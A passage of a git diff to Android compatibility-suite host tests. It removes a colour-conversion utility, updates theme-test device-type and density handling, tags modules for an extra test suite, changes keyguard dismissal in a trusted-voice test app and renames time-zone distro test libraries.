- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.theme.cts;
-
-/**
- * A set of color-related utility methods, building upon those available in {@code Color}.
- */
-public class ColorUtils {
-
-    private static final double XYZ_WHITE_REFERENCE_X = 95.047;
-    private static final double XYZ_WHITE_REFERENCE_Y = 100;
-    private static final double XYZ_WHITE_REFERENCE_Z = 108.883;
-    private static final double XYZ_EPSILON = 0.008856;
-    private static final double XYZ_KAPPA = 903.3;
-
-    private ColorUtils() {}
-
-    /**
-     * Performs alpha blending of two colors using Porter-Duff SRC_OVER.
-     *
-     * @param src
-     * @param dst
-     */
-    public static int blendSrcOver(int src, int dst) {
-        int x = 255 - a(src);
-        int Ar = clamp(a(src) + a(dst) * x);
-        int Rr = clamp(r(src) + r(dst) * x);
-        int Gr = clamp(g(src) + g(dst) * x);
-        int Br = clamp(b(src) + b(dst) * x);
-        return argb(Ar, Rr, Gr, Br);
-    }
-
-    private static int clamp(int value) {
-        return value > 255 ? 255 : value < 0 ? 0 : value;
-    }
-
-    /**
-     * Return a color-int from alpha, red, green, blue components.
-     * These component values should be \([0..255]\), but there is no
-     * range check performed, so if they are out of range, the
-     * returned color is undefined.
-     *
-     * @param alpha Alpha component \([0..255]\) of the color
-     * @param red Red component \([0..255]\) of the color
-     * @param green Green component \([0..255]\) of the color
-     * @param blue Blue component \([0..255]\) of the color
-     */
-    public static int argb(int alpha, int red, int green, int blue) {
-        return (alpha << 24) | (red << 16) | (green << 8) | blue;
-    }
-
-    /**
-     * Return the alpha component of a color int. This is the same as saying
-     * color >>> 24
-     */
-    public static int a(int color) {
-        return color >>> 24;
-    }
-
-    /**
-     * Return the red component of a color int. This is the same as saying
-     * (color >> 16) & 0xFF
-     */
-    public static int r(int color) {
-        return (color >> 16) & 0xFF;
-    }
-
-    /**
-     * Return the green component of a color int. This is the same as saying
-     * (color >> 8) & 0xFF
-     */
-    public static int g(int color) {
-        return (color >> 8) & 0xFF;
-    }
-
-    /**
-     * Return the blue component of a color int. This is the same as saying
-     * color & 0xFF
-     */
-    public static int b(int color) {
-        return color & 0xFF;
-    }
-
-    /**
-     * Convert the ARGB color to its CIE Lab representative components.
-     *
-     * @param color  the ARGB color to convert. The alpha component is ignored
-     * @param outLab 3-element array which holds the resulting LAB components
-     */
-    public static void colorToLAB(int color, double[] outLab) {
-        RGBToLAB(r(color), g(color), b(color), outLab);
-    }
-
-    /**
-     * Convert RGB components to its CIE Lab representative components.
-     *
-     * <ul>
-     * <li>outLab[0] is L [0 ...1)</li>
-     * <li>outLab[1] is a [-128...127)</li>
-     * <li>outLab[2] is b [-128...127)</li>
-     * </ul>
-     *
-     * @param r      red component value [0..255]
-     * @param g      green component value [0..255]
-     * @param b      blue component value [0..255]
-     * @param outLab 3-element array which holds the resulting LAB components
-     */
-    public static void RGBToLAB(int r, int g, int b, double[] outLab) {
-        // First we convert RGB to XYZ
-        RGBToXYZ(r, g, b, outLab);
-        // outLab now contains XYZ
-        XYZToLAB(outLab[0], outLab[1], outLab[2], outLab);
-        // outLab now contains LAB representation
-    }
-
-    /**
-     * Convert RGB components to its CIE XYZ representative components.
-     *
-     * <p>The resulting XYZ representation will use the D65 illuminant and the CIE
-     * 2° Standard Observer (1931).</p>
-     *
-     * <ul>
-     * <li>outXyz[0] is X [0 ...95.047)</li>
-     * <li>outXyz[1] is Y [0...100)</li>
-     * <li>outXyz[2] is Z [0...108.883)</li>
-     * </ul>
-     *
-     * @param r      red component value [0..255]
-     * @param g      green component value [0..255]
-     * @param b      blue component value [0..255]
-     * @param outXyz 3-element array which holds the resulting XYZ components
-     */
-    public static void RGBToXYZ(int r, int g, int b, double[] outXyz) {
-        if (outXyz.length != 3) {
-            throw new IllegalArgumentException("outXyz must have a length of 3.");
-        }
-
-        double sr = r / 255.0;
-        sr = sr < 0.04045 ? sr / 12.92 : Math.pow((sr + 0.055) / 1.055, 2.4);
-        double sg = g / 255.0;
-        sg = sg < 0.04045 ? sg / 12.92 : Math.pow((sg + 0.055) / 1.055, 2.4);
-        double sb = b / 255.0;
-        sb = sb < 0.04045 ? sb / 12.92 : Math.pow((sb + 0.055) / 1.055, 2.4);
-
-        outXyz[0] = 100 * (sr * 0.4124 + sg * 0.3576 + sb * 0.1805);
-        outXyz[1] = 100 * (sr * 0.2126 + sg * 0.7152 + sb * 0.0722);
-        outXyz[2] = 100 * (sr * 0.0193 + sg * 0.1192 + sb * 0.9505);
-    }
-
-    /**
-     * Converts a color from CIE XYZ to CIE Lab representation.
-     *
-     * <p>This method expects the XYZ representation to use the D65 illuminant and the CIE
-     * 2° Standard Observer (1931).</p>
-     *
-     * <ul>
-     * <li>outLab[0] is L [0 ...1)</li>
-     * <li>outLab[1] is a [-128...127)</li>
-     * <li>outLab[2] is b [-128...127)</li>
-     * </ul>
-     *
-     * @param x      X component value [0...95.047)
-     * @param y      Y component value [0...100)
-     * @param z      Z component value [0...108.883)
-     * @param outLab 3-element array which holds the resulting Lab components
-     */
-    public static void XYZToLAB(double x, double y, double z, double[] outLab) {
-        if (outLab.length != 3) {
-            throw new IllegalArgumentException("outLab must have a length of 3.");
-        }
-        x = pivotXyzComponent(x / XYZ_WHITE_REFERENCE_X);
-        y = pivotXyzComponent(y / XYZ_WHITE_REFERENCE_Y);
-        z = pivotXyzComponent(z / XYZ_WHITE_REFERENCE_Z);
-        outLab[0] = Math.max(0, 116 * y - 16);
-        outLab[1] = 500 * (x - y);
-        outLab[2] = 200 * (y - z);
-    }
-
-    private static double pivotXyzComponent(double component) {
-        return component > XYZ_EPSILON
-                ? Math.pow(component, 1 / 3.0)
-                : (XYZ_KAPPA * component + 16) / 116;
-    }
-}
diff --git a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
index 74ead54..371e1a9 100755
--- a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
+++ b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
@@ -136,30 +136,6 @@
         return true;
     }
 
-    /**
-     * Returns the perceptual difference score (lower is better) for the
-     * provided ARGB pixels.
-     */
-    private static double computeLabDistance(int p1, int p2) {
-        // Blend with neutral gray to account for opacity.
-        p1 = ColorUtils.blendSrcOver(p1, GRAY);
-        p2 = ColorUtils.blendSrcOver(p2, GRAY);
-
-        // Convert to LAB.
-        double[] lab1 = new double[3];
-        double[] lab2 = new double[3];
-        ColorUtils.colorToLAB(p1, lab1);
-        ColorUtils.colorToLAB(p2, lab2);
-
-        // Compute the distance
-        double dist = 0;
-        for (int i = 0; i < 3; i++) {
-            double delta = lab1[i] - lab2[i];
-            dist += delta * delta;
-        }
-        return Math.sqrt(dist);
-    }
-
     private static void createDiff(BufferedImage expected, BufferedImage actual, File out)
             throws IOException {
         final int w1 = expected.getWidth();
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 5c82e2a..0e0faed 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -83,17 +83,14 @@
 
     private ExecutorCompletionService<Pair<String, File>> mCompletionService;
 
-    /** the string identifying the hardware type. */
-    private String mHardwareType;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
         mDevice = getDevice();
-        mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
 
-        final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+        final String density = getDensityBucketForDevice(mDevice);
         final String referenceZipAssetPath = String.format("/%s.zip", density);
         mReferences = extractReferenceImages(referenceZipAssetPath);
 
@@ -124,7 +121,7 @@
                 fail("Failed to unzip assets: " + zipFile);
             }
         } else {
-            if (checkHardwareTypeSkipTest(mHardwareType)) {
+            if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
                 Log.logAndDisplay(LogLevel.WARN, LOG_TAG,
                         "Could not obtain resources for skipped themes test: " + zipFile);
             } else {
@@ -146,8 +143,8 @@
     }
 
     public void testThemes() throws Exception {
-        if (checkHardwareTypeSkipTest(mHardwareType)) {
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV");
+        if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
             return;
         }
 
@@ -231,11 +228,7 @@
         return receiver.getOutput().contains("OK ");
     }
 
-    private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
-        if (hardwareType.contains("android.hardware.type.television")) {
-            // references images for tv are under bucket "tvdpi".
-            return "tvdpi";
-        }
+    private static String getDensityBucketForDevice(ITestDevice device) {
         final int density;
         try {
             density = getDensityForDevice(device);
@@ -250,6 +243,9 @@
             case 160:
                 bucket = "mdpi";
                 break;
+            case 213:
+                bucket = "tvdpi";
+                break;
             case 240:
                 bucket = "hdpi";
                 break;
@@ -277,7 +273,8 @@
         final Pattern p = Pattern.compile("Override density: (\\d+)");
         final Matcher m = p.matcher(output);
         if (m.find()) {
-            return Integer.parseInt(m.group(1));
+            throw new RuntimeException("Cannot test device running at non-default density: "
+                    + Integer.parseInt(m.group(1)));
         }
 
         final String densityProp;
@@ -291,6 +288,7 @@
 
     private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
         return hardwareTypeString.contains("android.hardware.type.watch")
-                || hardwareTypeString.contains("android.hardware.type.television");
+                || hardwareTypeString.contains("android.hardware.type.television")
+                || hardwareTypeString.contains("android.hardware.type.automotive");
     }
 }
diff --git a/hostsidetests/trustedvoice/Android.mk b/hostsidetests/trustedvoice/Android.mk
index a0bc98b..34806f3 100644
--- a/hostsidetests/trustedvoice/Android.mk
+++ b/hostsidetests/trustedvoice/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.trustedvoice
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/trustedvoice/app/Android.mk b/hostsidetests/trustedvoice/app/Android.mk
index c9140e5..5127579 100644
--- a/hostsidetests/trustedvoice/app/Android.mk
+++ b/hostsidetests/trustedvoice/app/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsTrustedVoiceApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/trustedvoice/app/AndroidManifest.xml
index 53b2981..f54af61 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/trustedvoice/app/AndroidManifest.xml
@@ -20,7 +20,8 @@
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <application>
-        <activity android:name=".TrustedVoiceActivity" >
+        <activity android:name=".TrustedVoiceActivity"
+                  android:turnScreenOn="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
index 95c446a..32cc42c 100644
--- a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
+++ b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
@@ -17,12 +17,12 @@
 package android.trustedvoice.app;
 
 import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
 import android.os.Bundle;
 import android.util.Log;
-import android.app.KeyguardManager;
-import android.content.Context;
 import android.view.WindowManager.LayoutParams;
-import java.lang.Override;
 
 /**
  * This activity when in foreground sets the FLAG_DISMISS_KEYGUARD.
@@ -37,14 +37,18 @@
    */
   private static final String TEST_STRING = "TrustedVoiceTestString";
 
+  private KeyguardManager mkeyguardManager;
+
   @Override
   public void onCreate(Bundle icicle) {
     super.onCreate(icicle);
+    mkeyguardManager =
+            (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
 
     // Unlock the keyguard.
-    getWindow().addFlags(LayoutParams.FLAG_DISMISS_KEYGUARD
-            | LayoutParams.FLAG_TURN_SCREEN_ON
+    getWindow().addFlags(LayoutParams.FLAG_TURN_SCREEN_ON
             | LayoutParams.FLAG_KEEP_SCREEN_ON);
+    mkeyguardManager.requestDismissKeyguard(this, null);
   }
 
   @Override
@@ -52,8 +56,7 @@
     super.onWindowFocusChanged(hasFocus);
     if (hasFocus) {
       // Confirm that the keyguard was successfully unlocked.
-      KeyguardManager kM = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
-      if (!kM.isKeyguardLocked()) {
+      if (!mkeyguardManager.isKeyguardLocked()) {
         // Log the test string.
         Log.i(TAG, TEST_STRING);
       }
diff --git a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
index 7cea5e5..9420124 100644
--- a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
+++ b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
@@ -97,6 +97,8 @@
             getDevice().executeAdbCommand("logcat", "-c");
             // Lock the device
             getDevice().executeShellCommand(SLEEP_COMMAND);
+            // Add a delay to allow the device to go to sleep.
+            Thread.sleep(1000);
             // Start the APK and wait for it to complete.
             getDevice().executeShellCommand(START_COMMAND);
             // Adding delay for OEM specific features which could delay the time of printing the
diff --git a/hostsidetests/tv/Android.mk b/hostsidetests/tv/Android.mk
index 687252d..79f976a 100644
--- a/hostsidetests/tv/Android.mk
+++ b/hostsidetests/tv/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.tv.hostsidetv
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index c26a46a..5ffdeb4 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index ef34420..76ae765 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
index 6eab01c..50c22ab 100644
--- a/hostsidetests/tzdata/Android.mk
+++ b/hostsidetests/tzdata/Android.mk
@@ -23,11 +23,11 @@
 
 LOCAL_JAVA_LIBRARIES := tradefed
 
-LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing-host tzdata_shared2-host tzdata_tools2-host
+LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
 
 LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index c059e89..2e9707c 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -18,6 +18,9 @@
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.timezone.distro.DistroVersion;
+import com.android.timezone.distro.TimeZoneDistro;
+import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
 
 import java.io.File;
 import java.io.FileOutputStream;
@@ -28,10 +31,7 @@
 import java.util.Comparator;
 import java.util.StringJoiner;
 import java.util.function.Consumer;
-import libcore.tzdata.shared2.DistroVersion;
-import libcore.tzdata.shared2.TimeZoneDistro;
 import libcore.tzdata.testing.ZoneInfoTestHelper;
-import libcore.tzdata.update2.tools.TimeZoneDistroBuilder;
 
 import static org.junit.Assert.assertArrayEquals;
 
@@ -56,28 +56,28 @@
 
     /**
      * The name of the directory containing the current time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link libcore.tzdata.update2.TimeZoneDistroInstaller} and
+     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
      * tzdatacheck.cpp.
      */
     private static final String CURRENT_DIR_NAME = "current";
 
     /**
      * The name of the directory containing the staged time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link libcore.tzdata.update2.TimeZoneDistroInstaller} and
+     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
      * tzdatacheck.cpp.
      */
     private static final String STAGED_DIR_NAME = "staged";
 
     /**
      * The name of the file inside the staged directory that indicates the staged operation is an
-     * uninstall. Also known to {@link libcore.tzdata.update2.TimeZoneDistroInstaller} and
+     * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
      * tzdatacheck.cpp.
      */
     private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
 
     /**
      * The name of the /system time zone data file. Also known to
-     * {@link libcore.tzdata.update2.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+     * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
 
@@ -228,8 +228,8 @@
 
         // Create a current installed distro.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        TimeZoneDistro distro = createValidDistroBuilder().build();
-        unpackOnHost(dataCurrentDir, distro);
+        byte[] distroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -252,8 +252,8 @@
 
         // Create a staged install.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        TimeZoneDistro distro = createValidDistroBuilder().build();
-        unpackOnHost(dataStagedDir, distro);
+        byte[] distroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataStagedDir, distroBytes);
 
         // Create a file with the same name as the directory that tzdatacheck expects.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -268,7 +268,7 @@
 
         // Assert the device was left in a valid "installed" state.
         assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, distro);
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
     // {dataDir}/staged contains an install, but there is nothing to replace.
@@ -282,8 +282,8 @@
 
         // Create a staged install.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        TimeZoneDistro stagedDistro = createValidDistroBuilder().build();
-        unpackOnHost(dataStagedDir, stagedDistro);
+        byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -294,7 +294,7 @@
 
         // Assert the device was left in a valid "installed" state.
         assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistro);
+        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
     }
 
     // {dataDir}/staged contains an install, and there is something to replace.
@@ -311,17 +311,17 @@
 
         // Create a staged uninstall.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        TimeZoneDistro stagedDistro = createValidDistroBuilder()
+        byte[] stagedDistroBytes = createValidDistroBuilder()
                 .setDistroVersion(stagedDistroVersion)
-                .build();
-        unpackOnHost(dataStagedDir, stagedDistro);
+                .buildBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
 
         // Create a current installed distro.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        TimeZoneDistro currentDistro = createValidDistroBuilder()
+        byte[] currentDistroBytes = createValidDistroBuilder()
                 .setDistroVersion(currentDistroVersion)
-                .build();
-        unpackOnHost(dataCurrentDir, currentDistro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, currentDistroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -333,7 +333,7 @@
         // Assert the device was left in a valid "installed" state.
         // The stagedDistro should now be the one in the current dir.
         assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistro);
+        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
     }
 
     // {dataDir}/staged contains an invalid install, and there is something to replace.
@@ -347,15 +347,15 @@
 
         // Create a staged uninstall which contains invalid.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        TimeZoneDistro stagedDistro = createValidDistroBuilder()
+        byte[] stagedDistroBytes = createValidDistroBuilder()
                 .clearVersionForTests()
-                .buildUnvalidated();
-        unpackOnHost(dataStagedDir, stagedDistro);
+                .buildUnvalidatedBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
 
         // Create a current installed distro.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        TimeZoneDistro currentDistro = createValidDistroBuilder().build();
-        unpackOnHost(dataCurrentDir, currentDistro);
+        byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, currentDistroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -413,10 +413,10 @@
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        TimeZoneDistro distroWithoutAVersionFile = createValidDistroBuilder()
+        byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
                 .clearVersionForTests()
-                .buildUnvalidated();
-        unpackOnHost(dataCurrentDir, distroWithoutAVersionFile);
+                .buildUnvalidatedBytes();
+        unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -435,7 +435,7 @@
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        unpackOnHost(dataCurrentDir, createValidDistroBuilder().build());
+        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
         // Replace the distro version file with a short file.
         Path distroVersionFile =
                 dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
@@ -459,7 +459,7 @@
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        unpackOnHost(dataCurrentDir, createValidDistroBuilder().build());
+        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
 
         // Replace the distro version file with junk.
         Path distroVersionFile =
@@ -489,10 +489,10 @@
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion oldMajorDistroVersion = new DistroVersion(
                 DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(oldMajorDistroVersion)
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -515,10 +515,10 @@
                 DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
                 DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
                 VALID_RULES_VERSION, VALID_REVISION);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(newMajorDistroVersion)
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -541,10 +541,10 @@
                 DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
                 DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
                 VALID_RULES_VERSION, 1);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(oldMinorDistroVersion)
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -568,10 +568,10 @@
                 DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
                 DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
                 VALID_RULES_VERSION, VALID_REVISION);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(newMajorDistroVersion)
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -580,7 +580,7 @@
         assertEquals(0, runTzDataCheckOnDevice());
 
         // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distro);
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
     // {dataDir}/current is valid but the tzdata file in /system is missing.
@@ -589,8 +589,8 @@
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        TimeZoneDistro validDistro = createValidDistroBuilder().build();
-        unpackOnHost(dataCurrentDir, validDistro);
+        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, validDistroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -599,7 +599,7 @@
         assertEquals(6, runTzDataCheckOnDevice());
 
         // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, validDistro);
+        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
     // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
@@ -610,8 +610,8 @@
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        TimeZoneDistro validDistro = createValidDistroBuilder().build();
-        unpackOnHost(dataCurrentDir, validDistro);
+        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, validDistroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -620,7 +620,7 @@
         assertEquals(7, runTzDataCheckOnDevice());
 
         // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, validDistro);
+        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
     // {dataDir}/current is valid and the tzdata file in /system is older.
@@ -635,11 +635,11 @@
         DistroVersion distroVersion = new DistroVersion(
                 DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
                 DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -648,7 +648,7 @@
         assertEquals(0, runTzDataCheckOnDevice());
 
         // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distro);
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
     // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
@@ -662,11 +662,11 @@
         DistroVersion distroVersion = new DistroVersion(
                 DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
